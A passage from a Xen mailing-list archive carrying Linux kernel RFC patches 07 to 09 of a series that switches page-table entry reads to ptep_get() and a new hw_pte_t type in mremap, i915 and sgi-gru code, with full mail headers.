	 HvpyitnYjapZXnfX92hDFIEoEvFM5a2NTAQD7BozddqkW8IZdE8y8E26ijdoSu/Zlj
	 wnelz5qvccBri/v5vzsa2BD/s8NUyi27TheVyBvw=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 07/11] mm/mremap: use ptep_get() for the destination PTE
Date: Mon, 27 Jul 2026 17:46:58 +0100
Message-ID: <20260727164715.2866609-8-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1785170920-CD34D87B-348BA854/0/0
X-purgate-type: clean
X-purgate-size: 979

move_ptes() directly dereferences new_ptep when checking that the
destination slot is empty. new_ptep now points to hw_pte_t table storage,
while pte_none() consumes a logical pte_t value.

Read the destination entry through the standard ptep_get() accessor before
passing the logical value to pte_none().

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 mm/mremap.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mm/mremap.c b/mm/mremap.c
index d966ee8248b6b..ecb90ccee6fdd 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -264,7 +264,7 @@ static int move_ptes(struct pagetable_move_control *pmc,
 
 	for (; old_addr < old_end; old_ptep += nr_ptes, old_addr += nr_ptes * PAGE_SIZE,
 		new_ptep += nr_ptes, new_addr += nr_ptes * PAGE_SIZE) {
-		VM_WARN_ON_ONCE(!pte_none(*new_ptep));
+		VM_WARN_ON_ONCE(!pte_none(ptep_get(new_ptep)));
 
 		nr_ptes = 1;
 		max_nr_ptes = (old_end - old_addr) >> PAGE_SHIFT;
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371809.1619321 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcK-00004t-Or; Mon, 27 Jul 2026 16:55:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371809.1619321; Mon, 27 Jul 2026 16:55:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcK-0008Q1-AI; Mon, 27 Jul 2026 16:55:52 +0000
Received: by outflank-mailman (input) for mailman id 1371809;
 Mon, 27 Jul 2026 16:48:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOVV-0005mW-JM
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:48:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOVU-008hJQ-WF
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:48:49 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bef-5cb7-0a2a0a5109dd-0a2a4504a5be-2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:48 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bf0-b57f-0a2a45040019-d98c6eac9506-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:48 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id A6CE6176C;
 Mon, 27 Jul 2026 09:48:43 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 1BF0A3F86F;
 Mon, 27 Jul 2026 09:48:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170927; bh=CNlHVT/CmxBUOVY6CfuxFxYbSX5ewnbm7YL5RcchowM=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=TlXTwoRRK0Q+V8Za5J7DYjVsZ+if5g4kXVfJnfFmctfVLxFq2SX4GBaC2bi0e8NWA
	 LRsIxqAUpqOoTQRWDck8+AFKBOsKSw/bVdMcjgbwsUa/PtG9bA/8DxKrDHKwh6kbPY
	 j6c92y4Zs0E3dmXI/jy7qtPoQSWFIvG//eGdf5FY=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 08/11] drm/i915: use hw_pte_t for PTE range callbacks
Date: Mon, 27 Jul 2026 17:46:59 +0100
Message-ID: <20260727164715.2866609-9-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785170928-53CC7B50-6EACECFD/0/0
X-purgate-type: clean
X-purgate-size: 2212

apply_to_page_range() now passes PTE table storage to its callback as
hw_pte_t *. Update the i915 remap and selftest callbacks to match the new
type.

Continue to use ptep_get() for logical values and set_pte_at() for updates.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c | 4 ++--
 drivers/gpu/drm/i915/i915_mm.c                     | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c b/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c
index d01acfb7d93d0..056faf4a3618b 100644
--- a/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c
+++ b/drivers/gpu/drm/i915/gem/selftests/i915_gem_mman.c
@@ -1690,7 +1690,7 @@ static int igt_mmap_gpu(void *arg)
 	return 0;
 }
 
-static int check_present_pte(pte_t *pte, unsigned long addr, void *data)
+static int check_present_pte(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	pte_t ptent = ptep_get(pte);
 
@@ -1703,7 +1703,7 @@ static int check_present_pte(pte_t *pte, unsigned long addr, void *data)
 	return 0;
 }
 
-static int check_absent_pte(pte_t *pte, unsigned long addr, void *data)
+static int check_absent_pte(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	pte_t ptent = ptep_get(pte);
 
diff --git a/drivers/gpu/drm/i915/i915_mm.c b/drivers/gpu/drm/i915/i915_mm.c
index fd89e7c7d8d6f..aab88e8edf946 100644
--- a/drivers/gpu/drm/i915/i915_mm.c
+++ b/drivers/gpu/drm/i915/i915_mm.c
@@ -48,7 +48,7 @@ static inline unsigned long sgt_pfn(const struct remap_pfn *r)
 		return r->sgt.pfn + (r->sgt.curr >> PAGE_SHIFT);
 }
 
-static int remap_sg(pte_t *pte, unsigned long addr, void *data)
+static int remap_sg(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	struct remap_pfn *r = data;
 
@@ -70,7 +70,7 @@ static int remap_sg(pte_t *pte, unsigned long addr, void *data)
 #define EXPECTED_FLAGS (VM_PFNMAP | VM_DONTEXPAND | VM_DONTDUMP)
 
 #if IS_ENABLED(CONFIG_X86)
-static int remap_pfn(pte_t *pte, unsigned long addr, void *data)
+static int remap_pfn(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	struct remap_pfn *r = data;
 
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371811.1619327 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcL-0000Gg-8m; Mon, 27 Jul 2026 16:55:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371811.1619327; Mon, 27 Jul 2026 16:55:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcK-0000Ej-RH; Mon, 27 Jul 2026 16:55:52 +0000
Received: by outflank-mailman (input) for mailman id 1371811;
 Mon, 27 Jul 2026 16:48:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOVe-0005nN-Oq
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:48:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOVe-00CEIp-5m
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:48:58 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bf6-bab6-0a2a0a5309dd-0a2a450c9a16-6
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:58 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bf9-f479-0a2a450c0019-d98c6eaca1c4-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:48:57 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id A614F1764;
 Mon, 27 Jul 2026 09:48:52 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 1AEFB3F86F;
 Mon, 27 Jul 2026 09:48:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170936; bh=qEy/4+Wk/vbSZVdyK/qjuUUSc2n2G8gdddSYiTCTNvs=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=cDo3Do/rskCw4TMjsksYR/tTcB5Uv/vDrx6ixPR1mOTM9Q1q7fU9kGjz12p9Id7LU
	 nUuEt+vwKjZkAjRnRdC1eDlKTRvfsr1Lh1WkbMYT2XqOqXc7LIJh1KJzggyS6NyLvN
	 HLK4yn08JVV6tDRzci16mxLBAw0vZjMCqreNmXG8=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 09/11] misc/sgi-gru: use ptep_get() for page-table reads
Date: Mon, 27 Jul 2026 17:47:00 +0100
Message-ID: <20260727164715.2866609-10-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1785170937-008CDA5B-8579A142/0/0
X-purgate-type: clean
X-purgate-size: 1091

A leaf PMD is being read through ptep_get() by treating the PMD address
as PTE-sized table storage. ptep_get() now accepts hw_pte_t *, so update
the cast accordingly.

pte_offset_kernel() also returns hw_pte_t *. Get pte_t value by calling
ptep_get().

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 drivers/misc/sgi-gru/grufault.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/misc/sgi-gru/grufault.c b/drivers/misc/sgi-gru/grufault.c
index 3557d78ee47a2..ff89d34ad2aa4 100644
--- a/drivers/misc/sgi-gru/grufault.c
+++ b/drivers/misc/sgi-gru/grufault.c
@@ -228,10 +228,10 @@ static int atomic_pte_lookup(struct vm_area_struct *vma, unsigned long vaddr,
 		goto err;
 #ifdef CONFIG_X86_64
 	if (unlikely(pmd_leaf(*pmdp)))
-		pte = ptep_get((pte_t *)pmdp);
+		pte = ptep_get((hw_pte_t *)pmdp);
 	else
 #endif
-		pte = *pte_offset_kernel(pmdp, vaddr);
+		pte = ptep_get(pte_offset_kernel(pmdp, vaddr));
 
 	if (unlikely(!pte_present(pte) ||
 		     (write && (!pte_write(pte) || !pte_dirty(pte)))))
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371813.1619331 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcL-0000PR-LD; Mon, 27 Jul 2026 16:55:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371813.1619331; Mon, 27 Jul 2026 16:55:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcL-0000Nn-EJ; Mon, 27 Jul 2026 16:55:53 +0000
Received: by outflank-mailman (input) for mailman id 1371813;
 Mon, 27 Jul 2026 16:49:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOVn-0005oz-LO
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:49:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOVn-001vi2-2I
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:49:07 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bfb-e002-0a2a0a5209dd-0a2a450bcd2e-18
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:49:07 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678c02-b7e8-0a2a450b0019-d98c6eaca1fc-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:49:06 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id AF6CA175A;
 Mon, 27 Jul 2026 09:49:01 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 1B7693F86F;
 Mon, 27 Jul 2026 09:48:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170945; bh=0q+7yLXlDlEamYyqT8+gJuMmLMdePag4Q+fMTD4K878=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=ecDWkEbb2qtk+8ohd6Kewpw4n8VlI4E4Zyq+L1811WJFybbUDBiT4Z8cWhNiPrkBi
	 yWBZRoq7dWSZtF4v40NFDEpiduacWSK35tbmzo9qGFoi4xbTCiexyO5JyvZMXpFccf
	 raReWNwEs40DmEFZyWJK+vCB10Q+0nVfqhCKOuXI=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
